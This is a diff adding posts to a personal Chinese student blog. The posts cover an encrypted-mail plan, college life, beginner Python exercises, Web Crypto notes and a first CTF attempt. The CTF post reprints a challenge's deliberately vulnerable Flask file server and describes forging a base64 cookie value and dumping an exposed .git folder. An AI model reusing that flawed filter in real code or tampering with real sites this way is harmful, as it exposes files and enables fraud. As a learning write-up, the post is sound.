连接成功后对方服务器查询对应用户的公钥返回给客户端客户端用这个公钥加密AES密码用AES密码加密内容然后再传给对方服务器保存。
查看邮件就用私钥解密AES密码然后解密内容。
# 问题
如果对方服务器被攻陷公钥被改成攻击者的那不就没用了吗虽然可以用指纹解决但是这对小白来说似乎有些困难……HTTPS用的是第三方权威解决这个问题我们就没办法了……
最大的问题是,什么时候开始动工?(笑)

@ -0,0 +1,23 @@
---
layout: post
title: EncMail-Project Part 1 - 准备阶段
tags: [分布式, 加密, 邮件, 计划]
---
我是不会承认自己咕咕咕的!<!--more-->
参照:[初计划](/2019/07/02/encmail.html)
# 准备的内容
最终经过多方研究,我打算用[Web Crypto API](https://developer.mozilla.org/zh-CN/docs/Web/API/Web_Crypto_API)作为主要的实现方法。
不过用这种API的兼容性并不怎么好……我的博客之所以用了各种各样的JS库也是为了兼容性 ~~是不会写吧233333~~
其实主要原因是因为我在网上搜不到哪个JS库能生成密钥对……之前有看到过有一个名叫jsencrypt的库可惜只能加解密不能生成密钥对……
说实话我从来都没有用过WebAPI所以还得好好看看文档。但是这个破烂文档连例子都没有这让人很难办搜也搜不到有用的内容而且我的英语并不算好也不太习惯上[Stack Overflow](https://stackoverflow.com/) ~~(不行,我要把锅推给某国的网络审查)~~ 。正是如此,这个项目制作起来可能会相当花时间。
另外界面我打算用MDUI那个文档看起来还挺简单。本来我没打算做一个好看的页面就像之前制作的[Iwara Downloader](/2019/04/13/iwara.html)一样打算套个表格完事。但是既然这个UI看起来挺简单那就试试这个吧反正我也不考虑兼容性问题了WebAPI都用上了再加一个这个也不算什么吧。
# 对计划的补充
计划的名称我打算命名为EncMail-Project ~~(看起来有点俗……)~~ ,不过这都不重要。
关于登录方面我后来又想了想没有人会记私钥的所以为了方便使用我打算通过AES加密私钥和公钥一起上传到服务器上保存。登录时把加密的私钥和被公钥加密的令牌下载下来然后输入密码解密获得私钥并解密令牌。
而之前想到的公钥被修改的问题我想了想那还是加上指纹吧就是Hash啦用SHA-256算法算出公钥的指纹然后发送者在发送时自己对照一下就可以了好像是`SubtleCrypto.digest()`emmmm……这个文档没有翻译……
另外为了安全,私钥我打算存到`sessionStorage`里,以减小私钥泄露的危险。
今天就先到这里吧!

@ -0,0 +1,16 @@
---
layout: post
title: Mayx终于考上大学了
tags: [Mayx, 大学]
---
真是Amazing<!--more-->
# Where am I?
这次我考到成都了,考了一个网络工程专业 ~~说不定就成装宽带的了23333不过中国移动是真的垃圾就是以后装宽带也不去移动~~
不过我看这个专业的以后当运维的比较多那如果真是这样以后每年的昨天7月24日就可以过节了23333
# How about it?
考上了作为一个原三本的院校,其实也不能算很好,但是相比于[经常犯智障的我](/2019/05/30/exam.html),也算是一个不错的结果了。
总之,以后我应该就能了解更多关于网络方面的知识了。

@ -0,0 +1,20 @@
---
layout: post
title: 记一次办理22卡的经历
tags: [Mayx, 大学]
---
我生气了!<!--more-->
# What happened?
某天Mayx正在使用Bilibili手抖按到了一个广告上看起来好像是办理Bilibili的2233和小电视卡的。Ta让我答了几道题之后把我的个人信息骗走了~~还不是自己主动输进去的2333~~
之前我办过米粉卡,那个是真的不错,三个月流量不限,而且一分钱不花。我看这个卡貌似提到了免费,所以就办理了。
过了一两天,中国联通给我打来了电话,让我带着身份证下楼办卡,我也没多想,就下去了。
没两分钟我就被骗走了50CNY(QAQ)
原来所谓的免费只是首月免费,广告里可没提要多交钱啊!
不过算了既然已经办了那就用吧未来的五个月我可以随便看番了……这样想的你可真是大错特错要知道免流卡用够40GB的流量就会限流速度慢到看360p都会卡我平时都看的是1080p的视频看大概2小时就要用掉1GB的流量一个月可不只有40个小时我每天如果看四小时就要120小时即60GB那么之后的这几十个小时就只能看360p还卡的视频了……
总的算下来就是每月10CNY不限流看Biliblil的视频5个月以后我就把这张卡扔了吧。
# 感想
~~不错,广告你赢了我一次,但总有一天你一定会后悔!~~(我的小米手机的广告已经被我铲除干净了)
真希望有一天所有的广告用户都有关闭的权利VIP除外

@ -0,0 +1,21 @@
---
layout: post
title: 记一次悲惨的加装内存的事故
tags: [悲惨, 事故, 内存]
---
这……大概就是命运吧……QAQ<!--more-->
# 悲惨的开端
因为学校要求使用8GiB运存的电脑难不成是想用VS然后我的笔记本电脑只有4GiB。我考虑了一下买一条内存条也不贵于是我在某宝上买了一个和我笔记本电脑内存型号相同的内存条。
在到货的前几分钟,我就开心的把电脑主板提前拆出来了,等我一拿到取件码,就去把内存条取了回来 ~~顺便得到一堆泡泡纸血赚23333~~
等我安好内存条我试了试裸板开机不错看来至少主板没有被我搞坏然后我连上键盘和显示器之后BIOS也正确的读取到了内存条看来是成功了。
我这么边想着就边把电脑往回装,装着装着结果电池接口突然开始冒烟,吓得我立即把电池拔了,之后我继续装,总算是没看到更多异常情况。
等我全部安装完成后电脑倒是也正常开机了,操作系统也成功的读取到了内存,而且是同一型号的内存条,应该也成功的组成了双通道吧,我试了试整体电脑的操作,倒是确实比之前流畅了一些。
# 噩梦开始
过了几个小时之后我发现电池灯还在显示充电状态这时我慌了我打开电脑发现充了半天电电量没有一点点变化又过了几个小时电池灯开始不停的闪烁看来是翻车了。后来我把电池又重新安装了一遍但是貌似还是没有什么改变但是把外接电源拔掉仍然可以正常使用所以看来是充电芯片在之前冒烟的事故中灰飞烟灭了QAQ。
# 感想
我自认为我安装的时候也没有什么可能会让电脑出现这种问题的操作啊……难不成是因为我先安装了电池的问题?也许电脑在插完所有其他线的时候不应该插电池线吧…… ~~总之这就是命运吧……QAQ~~
最近运气都不怎么好,希望这糟糕的运气不会影响我接下来科目二的考试……

@ -0,0 +1,18 @@
---
layout: post
title: 假期总结
tags: [假期, 总结]
---
这个假期还真是碌碌无为啊……<!--more-->
# 这个假期做了什么?
我感觉什么也没做,也许到了假期之后确实就会变成这样吧,在高考前我甚至都在兴致勃勃的学怎么写博客,[学MediaWiki API](/2019/05/27/wikipic.html)学PHP……但是一到了假期反倒碌碌无为什么也不想干……即使之前定了很多计划到了假期却没有一点点干劲……
大概这就是人吧,忙的时候想忙些闲事,闲的时候……就真闲了,没有一点干劲……
但是吧,要说干了些什么,也不是没干,至少我把科目一和科目二过了,然后[给电脑加装内存条](/2019/08/17/memory.html)还给装坏了……拿去让维修电脑的修还没修好,要换主板……还好还能用,就勉强先这样用吧。
另外还去献了个血,感觉献血对我也没什么太大伤害所以就去献了一下,不过第一次献血还是挺害怕的,尽管之前有在学校体检抽血的经验,但是毕竟还是会疼啊……不过过了几天之后就好了,针孔也不是很明显,顺便去网上查了一下血检结果,是一切正常,看起来不错。
前几天我看到中国银行有办以天依为主题的借记卡 ~~这都是3月份的活动了吧……~~ ,于是就去申请了一张。但是我马上就要开学走了,也不知道能不能在我走之前送到我的手里……
对了这个假期我还在闲鱼上卖了些东西一个是血亏价60CNY卖出去的4GiB DDR4的内存条还包邮就是说我只赚了48CNY😭还有一个锤子T1SM705手机那个买家事还挺多200CNY买一个原价4000CNY的手机还觉得边角磕了碰了然后为了惩罚我还要让我等到10天后系统自动确认收货……在闲鱼上卖东西真是让人难受啊(T_T)
# 总结
这个假期可算是把我玩废了,无论是身体还是心理……希望我作为人类能让我发挥这快速适应的能力,让我快速恢复到正常状态!

@ -0,0 +1,31 @@
---
layout: post
title: 开学总结
tags: [开学, 总结]
---
假期结束不就是开学嘛……<!--more--> ~~实在是没得水了么23333~~
# 到学校之前的一些事
我是通过自驾的方式去的学校,在途中去了不少地方,算是边旅游边去的学校吧。不过总的来说,旅游可真是累啊,虽然自驾游时间没那么紧张,但是为了尽可能在到学校之前多去一些景点,还是挺赶时间的。
我在这次去了不少景点,有青木川、阆中、重庆、乐山和峨眉山。在旅游途中,最令人失望的地方是甘肃,在经过甘肃的时候,居然没有一条能直接穿过甘肃的高速,不走高速的话就只能走县道了,但是那个县道是真的烂,好多地方都是烂泥路,让人深深的感受到甘肃的贫困。
到重庆之后可以深深的感受到作为山城的感觉,在重庆去哪里都要爬楼梯,而且作为山城,他们没有地上和地下之分,轨道交通有时候可以在地面之上行驶,有时候则是在山里面,甚至有时会[在房子里面穿行](https://www.bilibili.com/video/av66213433/)。不过重庆还是在建设中,所以还是有很多地方都在修路。
另外在重庆发生了一点令我难受的小事,有一家很烂的冰激凌店涉及虚假宣传,而且店长会耍顾客,而且一个冰激凌相当贵,要二十多,但是东西只有一点点,这真的是极其垃圾的店, ~~我祝这位店长买菜必超级加倍,做事必被指指点点~~ ,我相信在这个市场中,对顾客不尊敬的商家,必然会遭到市场的报复!
除此之外我在重庆我还坐了[长江索道](https://www.bilibili.com/video/av66083579/),这应该就是我在这次旅游中拍到的所有视频了。
在峨眉山的时候也很惨,那里有相当多的蚊子,我不知道也没做防护措施,而且刚被叮也没什么感觉,结果后来整条腿就像是得了埃博拉一样满腿的包,而且可能南方的蚊子和北方不一样,叮完以后就会起水泡,抓破之后就会渗出液体,真的是令人难受啊……
我在[上一篇博客](/2019/08/24/sth.html)中说我办了一张借记卡不过地址貌似填的不完整被驳回了不过还好被驳回了不然我就取不到那张卡了我填的是家里的地址。于是我在2019.9.1时重新申请了一下。
最后我在2019.9.4时成功的抵达了学校。
# 到学校后发生的事
到学校之后也没发生特别多的事不过在旅游的时候提前在QQ上加了一个舍友所以到学校之后倒是也没糟糕到一句话也不说但是最开始还是很糟糕的基本上就算是说话也会让人感到尴尬。不过这应该是很正常的事情吧我觉得应该很快这个问题就会被解决吧……但是事实上并不会因为我的交往能力极其的差表达和做事都很难与人在一个频道这真的是让人很难受QAQ。
在学校的说明上很明显的标出来不要相信某些来寝室的人的推销可是我就是非要犯一下智障症来表现一下我就是个智障23333。有一个来寝室卖公交卡的人说他卖的公交卡可以使用10年然后坐车有一定的折扣我没想它是一个骗子而是想的是我需不需要公交卡真的是太蠢了我想通了我要公交卡之后我就立马付钱了也没仔细看一下卡片像我这样智障的人怕是给我一张纸片说这是公交卡我也信了吧总之后来闲下来的时候我仔细看了看那张卡结果上面写的是有效期两年然后我去官网上把卡号输上去之后发现这个卡已经没钱了而且也过期了……这真是个耻辱啊不过这也算是步入社会交的第一笔智商税吧……也许以前交的我都忘了23333
报名之后就是军训了,算是开学第一课吧。
## 到学校之后的军训
众所周知,到了大学是要军训的,不过我感受到我们学校的军训真的是太水了,根本不能和我高中时候的军训相比。不过我听到一位学长说,军训的强度和学校有关,像我们学校根本不跑早操,到后来基本上就是动两下就坐下休息了,但是他的学校貌似每天都要负重跑。不过学长的话只能信一半,具体情况怎么样我也不知道,但是我们学校军训是真的水,这个是毋庸置疑的。
在军训前领服装的时候我没太在意服装的尺码结果选小了一号然后在第一天就把迷彩裤搞坏了结果军训的这十几天就只能穿破裤子军训了。虽然我个人并不在乎这个问题不过同学还是会在乎的……QAQ
总的来说,我感觉这次的军训还没之前旅游更辛苦。不过也可能和我们连什么也没干有关,有些连队是要参与表演的,所以可能会更辛苦吧。
## 其余的杂事
在上面所说的借记卡过了将近一个月之后它终于发货了我之前以为办银行卡和手机卡一样今天申请明天就能到但是事实上不一样……它受理用了一周审批又是一周制卡还得4-5天然后过了这么长时间才开始寄发可能还得几天……真的是太难了……
另外,我对大学生活还是挺有希望的,为此我也加入了一个社团和学生会,希望在后来的生活中,我能学到点有用的东西,而不是在这里水博客了。

@ -0,0 +1,83 @@
---
layout: post
title: Python学习笔记 - Turtle
tags: [Python, 学习笔记, Turtle, Logo, Tkinter]
---
没想到我终有一天也得学Python了……<!--more-->
# 第一课Turtle
我以为我们老师会从Python的基本语法开始教起不过事实证明我想错了我们老师打算把我们当做小学生看然后教 ~~Logo语言~~ 类似Logo语言的Python库Turtle。
Turtle貌似是基于Tkinter的库Ubuntu上带的Python默认没有装Tkinter结果我还得自己装一下……
老师给我们布置了两个作业一个是画一个心形另外是画一个正方形。在开始之前我也想的这个库就是个Logo语言也没想着在网上看看这个东西支持什么方法画正方形也很简单就是向前向左……执行4遍。很快我就用循环写出了这个东西
```python
import turtle
i=0
while i<4 :
turtle.forward(50)
turtle.left(90)
i=i+1
```
看着这段代码,让我回想起了我的小学时光 ~~一段不堪回首的往事23333~~ 既然能画出正方形,那么圆也很简单了,我们可以把圆看成一个无限多边形,那么画圆我们可以这样:
```python
import turtle
i=0
while i<360 :
turtle.forward(2)
turtle.left(1)
i=i+1
```
画完圆之后我又打算画心形,不过老师布置的是在终端中显示心形,就像这样:
```python
print(""" ** **
* * *
* *
* *
*""")
```
不过这个感觉没什么意思我想我可以试试在Turtle里画一个心形。在画之前当然应该上网查一下Turtle还有什么用法结果一查以后我就自闭了……画正多边形根本不用一步一步走有一个叫做circle的方法可以直接实现比如画正方形可以这样
```python
import turtle
turtle.right(45)
turtle.circle(100,360,4)
```
……这可真是令人难受……不管了,我先画个心形吧,我捡起了我曾经的三角函数的知识,算了一下我要转的角度和长度,最终写出了这样的东西:
```python
import turtle
turtle.color('red','red')
turtle.filling()
turtle.begin_fill()
turtle.left(90)
turtle.circle(50,180,180)
turtle.left(30)
turtle.forward(200)
turtle.left(120)
turtle.forward(200)
turtle.left(30)
turtle.circle(50,180,180)
turtle.end_fill()
input()
```
当然,我不知道心形的定义是什么,所以也不知道心形是怎么组成的,我想象的大概就是两个半圆和一对等腰拼出来的吧,不过最终画出来的心形是真的丑……
最后我在网上又查了一下其他人写的,然后继续自闭……
其他人的心形:
```python
from turtle import *
def curvemove():
for i in range(200):
right(1)
forward(1)
color('red','pink')
begin_fill()
left(140)
forward(111.65)
curvemove()
left(120)
curvemove()
forward(111.65)
end_fill()
done()
```
# 总结
虽然我不喜欢看文档,但是遇到新的东西还是查一下比较稳妥啊!

@ -0,0 +1,99 @@
---
layout: post
title: Python学习笔记 - 求质数
tags: [Python, 质数, 学习笔记]
---
讲真,我酸了……<!--more-->
# 起因
在学习Python的过程中我和同学举行了一个比赛大概内容是用Python做一个时间复杂度最低的质数生成器。
在学校里就是有个好处,学校网络上知网下论文是免费的,我大概的查了一下,好像用埃氏筛法的效率比较高。
以前我用Linux Shell也写过一个
```shell
#!/system/bin/sh
max=1000
list="2"
rlist="2"
i=3
while [ $i -lt $max ]
do
[ "$(
echo "$list"|while read a
do
[ "$(($i%$a))" == "0" ]&&{
echo "1"
break 1
}
done
)" == "1" ]||c=$i
[ "$bj" == "" -a "$c" != "" ]&&{
[ "$((${c}*${c}))" -gt "$max" ]&&bj="1"
}
[ "$c" == "" ]||{
[ "$bj" == "1" ]||{
list="$list
$c"
}
echo "$c"
}
c=""
i="$(($i+1))"
done
```
不过效率极低……因为原生Shell是不支持数组之类的东西所以其实并不能完全使用埃氏筛法……
# 使用Python做一个
当然Python还是可以用的于是我理解了一下做了一个出来
```python
maxprime=100000
rprimeset=set(range(2,maxprime+1))
lprimeset=set()
lastprime=0
while lastprime<=maxprime**0.5:
lastprime=min(rprimeset)
rprimeset=rprimeset-set(range(lastprime,maxprime+1,lastprime))
lprimeset.add(lastprime)
primelist=sorted(list(rprimeset|lprimeset))
print(primelist)
#print(primelist,file=open(__file__[:__file__.rfind("/")]+"/prime.txt",'w+'))
```
这个效率确实比Shell做的好太多了而且看起来也清晰易懂。在我的电脑上1000000的质数只需要4s就能算出来
# 结局
不过我后来在某百科上查了一下他们用埃氏筛做的Python版本……然后我就酸了……他们的代码在我的电脑上只需要0.6s就能跑完1000000的质数……而且我估计他们的空间复杂度还比我小……
```python
# python 原生实现
def primes(n):
P = []
f = []
for i in range(n+1):
if i > 2 and i%2 == 0:
f.append(1)
else:
f.append(0)
i = 3
while i*i <= n:
if f[i] == 0:
j = i*i
while j <= n:
f[j] = 1
j += i+i
i += 2
P.append(2)
for x in range(3,n+1,2):
if f[x] == 0:
P.append(x)
return P
n = 1000000
P = primes(n)
print(P)
```
感觉好难受,每次在网上搜的代码都比我写的好……算了,反正我也是在学习嘛。
后来我听说用欧拉筛法的效率更高……可惜我看完后不太理解……质数算法可真是复杂啊……

@ -0,0 +1,37 @@
---
layout: post
title: Mayx应聘失败(Python版)
tags: [应聘, Python, 面向时间]
---
既然最近学了Python那就去应聘一下Python程序员吧XD<!--more-->
[上次去面试运维失败了](/2019/01/27/shell.html),这次不能这么丢人了。
然后那个面试官居然又让我写排序的程序23333
Mayx想了想写出了以下代码
```python
a=[1,2,3,5,4,9,10,8,5]
import threading
import time
def counting(i):
time.sleep(i)
print(i)
for i in a:
threading.Thread(target=counting,args=(i,)).start()
```
执行效果:
```
1
2
3
4
5
5
8
9
10
```
然后Mayx被赶出来了……
我写的代码明明可以执行,效果也没问题,居然赶我出来,这一定是个垃圾公司!
后来才知道,他们又想让我回答`sort()`,怕是同一家公司(笑)

@ -0,0 +1,16 @@
---
layout: post
title: Bug Forever
tags: [Github, Archive]
---
Github 太强了!<!--more-->
# [GitHub Archive Program](https://archiveprogram.github.com/)
前几天Github搞了一个神奇的计划大概内容是把Github上所有的公有仓库保存到北极。据说他们会将 ~~BUG~~ 这些仓库保存千年😝另外这个计划将在2020年2月2日开始。
我感觉这个计划很有意思啊,其实当时我在选择在哪里存博客的时候有考虑过博客存储的稳定性。同样,我也不相信有哪一个网站或者是公司能永久的存活。不过这个想法只是在社会层面,并没有考虑人类在这个地球生存的问题。
当时我的想法是如果能写一个脚本,它会自动的找到所有可用的免费主机,然后自动注册,把自己上传上去。然后那个主机也有运行这个脚本的能力,所有的脚本都会每隔一段时间运行,这样就可以保证它能永久的存在于这个世界了。
不过Github的这个项目更加夸张因为所有现在的存储设备都不算稳定。像SSD因为是通过电容存储存在漏电的问题所以可能只能保证5-10年的存储。寿命更长的HDD是通过磁性材料存储根据熵增定律磁性存储的东西终将变得混乱所以HDD大概能保证100年左右数据不损坏另外HDD中的磁片保存要求也很严格所以损坏的可能性更高。想想好像还是光盘比较稳定。也许作为有机物的塑料会比较容易分解但是如果用玻璃制作那就基本上可以永久存储了吧。不过想想圆形的光盘果然还是太占用空间了所以Github使用长方形的胶片存储相比光盘可能有更好的存储密度吧。毕竟这个计划并不在意读取是否方便而是更在意它能保证能长时间存储的前提下存储的东西更多。这个计划还真是有意思。
# 千年以后
千年之后我觉得我应该是活不到那个时候了尽管有的时候我可能会犯中二病但是现实是残酷的。如果说Github能保存我的博客直到千年以后那也是很不错的事情了。想想我在一年前转载的[那篇文章](/2018/03/26/neko.html),尽管事情后来并没有证明,但是人没了,博客还在这种事情还是令人感觉有些悲伤的。不过对我来说,果然还是希望自己写的东西能一直保存下来😁,每个人写的东西都带有他的思想,所以如果作品能一直留存下来,也算是一种永生了吧😂。不过即使这样也是只读的了,只有其他人能看到我的信息,而我不能看到未来的世界……
总而言之这个计划还是挺有意思的这时候再吹一波GithubGithub太强了

@ -0,0 +1,67 @@
---
layout: post
title: Web Crypto Api学习笔记
tags: [学习笔记, Web Crypto Api]
---
感觉要爆炸了……<!--more-->
# 学习前
在四个月前,我作了[制作分布式加密邮件系统的计划](/2019/07/02/encmail.html),不过现在来看,这怕是得变成五年计划了……
Javascript是真的垃圾搞一堆对象各种各样的对象让人无言以对不过也可能因为我以前用的是Linux Shell语言那个语言在我学了Python之后还是感觉很舒服因为它不用管变量类型Bash之类的解析器会把它们一律看作字符串遇到要运算的部分才会转换为数字。除此之外它连接字符串是什么都不用加不需要考虑变量是什么类型只要解析器能分辨变量它就能正常工作也不需要什么强制转换之类乱七八糟的东西而且它更没有什么乱七八糟的对象之类的概念。 ~~(跑题了:-P~~
不过浏览器只支持Javascript语言……没办法看来只能动用我的Copy&Paste大法了。不过国内用Web Crypto Api的人好少找了半天也没有什么示例可以Copy……没办法那我只好去抄[官方示例](https://mdn.github.io/dom-examples/web-crypto/)了……
# 学习过程
我在大学中也加了那么一个社团/协会在社团办公室里虽然没人能帮助我学习Javascript不过那里有多余的屏幕然后我就体验了一下双屏幕工作的感觉那个感觉还是挺不错的也可能是我的屏幕分辨率太低了是1366x768的垃圾屏幕……一个屏幕打代码另一个看网页效果还是挺不错的至少不用不停的切换窗口了。
看着示例代码我感觉真是要爆炸了各种奇葩的对象像什么ArrayBuffer还是什么Uint8Array啥的还有一堆乱七八糟要求的格式密码长度还必须是16的倍数而且还有什么初始向量iv……真的是一言难尽……
不过我还是发挥了作为辣鸡程序员的特长——Copy&Paste大法最终可算是拼凑出了一个看起来勉强能用的代码……
# 辣鸡代码
```js
function getByteLen(val) {
var len = 0;
for (var i = 0; i < val.length; i++) {
if (val[i].match(/[^\x00-\xff]/ig) != null) len += 3;
else len += 1;
}
return len;
}
function importSecretKey(rawKey) {
return window.crypto.subtle.importKey(
"raw",
rawKey,
"AES-GCM",
true,
["encrypt", "decrypt"]
);
}
async function encryptMessage(key) {
iv = window.crypto.getRandomValues(new Uint8Array(12));
ciphertext = await window.crypto.subtle.encrypt(
{
name: "AES-GCM",
iv: iv
},
key,
encoded
);
console.log(ciphertext)
}
let secretKey;
const enc = new TextEncoder();
keyword="Mayx"
while (getByteLen(keyword) % 16 != 0) {
keyword = keyword + "\0";
}
const rawKey = enc.encode(keyword);
const encoded = enc.encode("Mayx is Good");
(async () => {
secretKey = await importSecretKey(rawKey);
encryptMessage(secretKey);
})();
```
# 感想
路漫漫其修远兮,吾将上下而求索,我还是要继续加油啊!

@ -0,0 +1,28 @@
---
layout: post
title: 废人的研究
tags: [废人, 研究]
---
我是废人吗?……不,我是研究者!<!--more-->~~没有意义的解释23333~~
# Part1.Are we real?
你是真实的吗如果你玩过VR就会感觉到现实与虚拟世界的差距感受到差距的你很开心因为你觉得现实世界无可替代虚拟的世界永远是虚拟的。
然而虚拟与现实之间的差距就仅仅是延迟而已,之所以现实这么美好就是因为现在的科技还做不到那么低的延迟。
我要怎样证明这一点呢?很简单,既然科技的延迟下不来,那就提高自己感受的延迟吧。怎么做?去熬夜吧,熬夜会影响到神经信号的传输,这样就可以提高延迟而感受到这不真实的世界。
~~洗白熬夜23333~~
# Part2.How to denoise
熬夜都熬过了,精神一定很不好吧?这时候来点外部的喧闹让人崩溃一下不过分吧?
怎么可能?现在怕是想毁灭世界的心都有了吧?不过我们不能真的毁灭世界,甚至连改变都不可以,那么我们怎么消除这个噪声呢?
降噪耳机耳塞太low了那些东西平时戴上又不舒服而且也不便宜。那么怎么做呢
很简单,人感受到令人心烦的噪音其实不是声音有多大,也不是随机的声音,而是大脑不由自主处理的声音,比如人声。
在没睡好的情况下听到人讲话真的会很烦,但是毕竟我还要在这个社会生存,总不能把人都消灭吧?何况我也没有这个能力。
那么我们就可以通过干扰人声的方式来解决这个问题,播放更大的噪声压过他的声音吧!如果他要是敢反抗,正好可以让他闭嘴,而如果不行,那就继续,只要大脑不再处理人声,就不会那么难受了。
# Part3.How to anti sound record
说到噪音降噪,我就回想起 ~~251~~ 反录音了,反录音的原理好像和这个类似,就是通过放一些人听不到的噪音来干扰录音设备。因为录音设备是可以记录人听不见的声音,所以就会被干扰。
不过人听不到的声音机器在回放的时候按理来说那些听不到的声音应该还是听不到啊,那反录音是怎么做的?真的是难以理解,既然人能听到,那么就相当于人把它记录了,那么机器应该同样能正常的记录吧?真的是难以理解……
# Part4.Summary
跑题了 ~~(正说废人呢!)~~ ……总之,熬夜带来的问题还是挺多的,只是某些问题 ~~(都是些闲事)~~所迫不得不……emmmm……总之如果能早点睡觉就好了。
另外也希望自己不会被一些噪音搞到心烦。

@ -0,0 +1,62 @@
---
layout: post
title: CTF初体验
tags: [CTF, Python]
---
我好菜啊<!--more-->
# 开端
前几天有一个同学邀请我去打个线上CTF我大概看了下时间是在周末于是我就答应了。
以前我倒是对CTF也有些了解曾经也试着在网上找到一些题不过那些题的评论区总是有一堆人透答案体验极差所以其实我也没真正做过CTF的题。
不过我曾经也攻击过一些网站,也算有点经验吧,所以觉得问题应该不大。
# 答题
到了周末我还是像往常一样睡到中午不过没关系这个比赛持续2天所以无所谓。
等到我想答题的时候题目也基本上全部都出来了,我打开网站一看,题的类型挺多的,有涉及密码学、二进制、文件组成、溢出之类乱七八糟的东西。当然我全都不会 ~~(于是就凉了)~~
虽然大多数都不会不过至少我还是学过一些HTTP协议之类的东西所以觉得我至少要解出一道Web题吧。
首先吸引我的是一个叫做Cookie的题我想既然它叫Cookie那么大概就是改改cookie就能解出来吧。题目大概是我有$50有三种饼干Flag饼干最贵要$100因为买不起所以得不到Flag。那么解法应该就是想办法改我有的钱的然后再去买Flag饼干就OK了吧。以这个思路我看了下cookie那是一个被base64编码后的json解码后发现里面有一个叫做money的key这下我想那不就解出来了嘛我修改了money的value编码后提交钱的数量不出意料的变了然后我就去买Flag饼干但是不知道为什么改完以后所有饼干都买不了了……所以这道题最后没有解出来…… ~~(太菜了)~~
之后我换了一道题那道题叫做Swedish State Archive打开后发现是一个正在维护的网站查看源代码后发现了服务器的源码
```python
from flask import Flask, request, escape
import os
app = Flask("")
@app.route("/")
def index():
return get("index.html")
@app.route("/<path:path>")
def get(path):
print("Getting", path)
if ".." in path:
return ""
if "logs" in path or ".gti" in path:
return "Please do not access the .git-folder"
if "index" in path:
path = "index.html"
if os.path.isfile(path):
return open(path, "rb").read()
if os.path.isdir(path):
return get("folder.html")
return "404 not found"
if __name__ == "__main__":
app.run("0.0.0.0", "8000")
```
虽然我Python学的不多但是至少我看到了`.gti`看来是通过git获得Flag的题但是它屏蔽了文件夹和index和logs两个路径的关键词……这该怎么做……后来我去网上搜了下解git类型的ctf的题大多数人都用了一个叫做Githack的工具我大概看了一下这是个Python的脚本但是它依赖于index文件所以不能用。正当我要放弃之时我发现了一个叫做[Git Extract](https://github.com/gakki429/Git_Extract)的工具我试了一下直接Flag就出来了😂我当场就赏它了一个star……看来还是工具好用……
其他的题受限于水平原因实在是做不出来……于是本次的CTF就这么结束了……
# 结语
CTF还是挺有意思的看着我也想举办一个。不过除了CTF外还有另外一个更加大众化的东西叫做网站迷宫大概就是通过找线索然后一层一层的往深处走的游戏有点像解谜爬塔的游戏。
我想了想这种游戏也可以做一个纯前端版每个下一题都被AES加密所以只有上一题解出来得到密码才能得到下一题这听起来有点像CTF呀不过本来好多CTF的题也是一个文件Web的题不算多。
不过我自己连题都做不出来,还想什么出题😂……还是多研究研究吧。
另外如果我以后想去试试挑战CTF的话就可以去[CTFtime](https://ctftime.org/)上看看了。

@ -0,0 +1,28 @@
---
layout: post
title: New Game!
tags: [Game, 计划]
---
New Game?New 鸽子!<!--more-->
# 新的想法
昨天,我在[上篇博客的结尾](/2019/12/16/ctf.html#结语)提到了我想要做的不需要后端的解谜游戏。在那之后我又想了想我在高中的时候也想做一个游戏因为当时玩了DDLC心里十分感慨很想自己做一个视觉小说于是一冲动在电脑上下了Ren'Py SDK然后为了方便搞了[Ren'Py中文文档的镜像站](/RenPy_Docs_CHS/RenPy/)
但是因为种种原因 ~~(懒、人类的本质——咕咕咕)~~,比如不会写故事啦,画画不好啦,以及音乐也不会做之类的。不过其实这些都不算很难的事情,因为我们现在不要求质量,只需要做出来就好了,有了第一个,第二个也不会远了吧。
事实上我为了做一个视觉小说也做了不少准备比如收集各种各样的立绘BGSE以及看了不少视觉小说的OP希望作为自己的灵感。不过后来虽然游戏没做出来但是收集的灵感还是很有用的至少我在做PPT的ED的时候也不至于搞一个黑色的背景然后只有STAFF在上面滚动了。
# 新的计划
既然之前说过我想做解谜游戏,又想做视觉小说,那么我们不如各退一步,做一个解密动态小说!
虽然说之前[重构的计划](/2019/07/01/mabbs.html)和[制作加密邮件系统的计划](/2019/07/02/encmail.html)现在都在咕,但是我决定了,我要把我的计划推成五年计划 ~~比百年计划好多了23333~~,现在先找灵感,到时候就算做不完也不至于没得做。毕竟作为人其实不担心忙的问题,毕竟人现在的做事效率还是很低的,所以闲还是很容易的。为了避免这种事情,多来点计划也没关系吧。
这个小说的内容我暂时还没想好不过机制我已经想好了我打算把它做成套娃用AES作为它的壳。也就是我需要先想好故事然后第一层包含故事线索和下一层的密文而下一层同样含有故事线索和密文这样也可以避免一个问题那就是拆包查看源代码获得剧情。
很多游戏现在也有这样的问题因为大多数情况玩游戏其实就是为了看剧情但是游戏很多时候会通过游戏方式阻挡玩家看到剧情所以要想了解整个剧情很多玩家会选择拆包。但是对于一些游戏拆包就失去了它的游戏性甚至会失去这个剧情想展现的效果。就比如DDLC如果没有走剧情直接拆包就感受不到Meta-Game的那种特别的感觉。
所以我使用AES加密可以大幅减少因为拆包而影响可玩性。不过由于技术问题我打算使用[博客里搞过的的这套加密方式](/2019/06/11/encrypt.html)作为阻止玩家得到接下来剧情的方式。不过这个加密好像用的是不安全的ECB模式而且现在马上就要进入后量子密码时代了所以可能对于某些大佬来说这点阻挡根本算不了什么吧……不过没关系这本来就是为了阻挡大多数人而已。
# 游戏模式
除了像CTF那样的从文件/程序以及从各种解谜游戏中获得密码外,我打算再搞一些有运气含量的,也就是我只会提供密码在一定范围,然后按照一定的机率获得正确密码。毕竟欧气也是能力的一部分嘛,当然有技术的人也可以通过遍历的方式。总之就是得到下一层的故事比较有难度就可以了。
关于剧情走向嘛……我是挺想搞多分支的,不过那样工作量也大了不少……算了,到时候看剧情吧。
另外题目还要和剧情相配……真的是好麻烦……
# 结语
我自己连那些CTF的题都解不出来还要自己出题想想大多数系统其实也是易守难攻嘛出题应该也不会太难吧……
emmmm……回头还是多了解了解CTF中的那些知识吧不然自己都解不出来自己的题那还怎么设密码😂

@ -0,0 +1,46 @@
---
layout: post
title: 年终总结
tags: [总结]
---
Summary?没错这里的位置就是Summary😂<!--more-->
# 在大学的总结
我可能以前也想不到我现在居然能坐下来安安稳稳的坐下来在这里写年终总结吧以前的我肯定会认为我现在早就变成了一堆泥土然后再来一首《Ring of Fortune》作为BGM吧23333。当然有这个想法很正常这应该也算是必经之路吧……
不管怎么说今年能上到大学也算是不错了至少可以借鉴以前的经验然后谱写新的篇章嘛无论如何变成泥土是谁都不想的事情毕竟泥土可是不会写新的篇章的23333……
## 开学时的事情
